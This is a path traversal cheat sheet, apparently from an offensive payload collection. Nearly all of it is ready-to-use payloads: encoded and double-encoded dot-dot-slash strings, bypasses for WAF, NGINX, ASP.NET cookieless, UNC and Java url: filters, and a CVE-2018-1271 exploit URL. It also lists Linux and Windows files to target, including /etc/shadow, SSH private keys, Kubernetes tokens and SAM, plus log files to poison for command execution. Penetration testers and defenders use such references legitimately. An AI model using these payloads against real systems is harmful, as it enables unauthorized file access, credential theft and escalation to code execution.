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Directory Traversal

Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.

Summary

Tools

Basic exploitation

We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass "../" replaced by ""

Sometimes you encounter a WAF which remove the ../ characters from the strings, just duplicate them.

..././
...\.\

Bypass "../" with ";"

..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt

Double URL encoding

. = %252e
/ = %252f
\ = %255c

e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

UNC Bypass

An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

\\localhost\c$\windows\win.ini

NGINX/ALB Bypass

NGINX in certain configurations and ALB can block traversal attacks in the route, For example: http://nginx-server/../../ will return a 400 bad request.

To bypass this behaviour just add forward slashes in front of the url: http://nginx-server////////../../

ASPNET Cookieless Bypass

When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.

For example, a typical URL might be transformed from: http://example.com/page.aspx to something like: http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx. The value within (S(...)) is the Session ID.

We can use this behavior to bypass filtered URLs.

/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx
/(S(X))/admin/(S(X))/main.aspx

Java Bypass

Bypass Java's URL protocol

url:file:///etc/passwd
url:http://127.0.0.1:8080

Path Traversal

Interesting Linux files

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Interesting Windows files

Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt

Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

The following log files are controllable and can be included with an evil payload to achieve a command execution

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Labs

References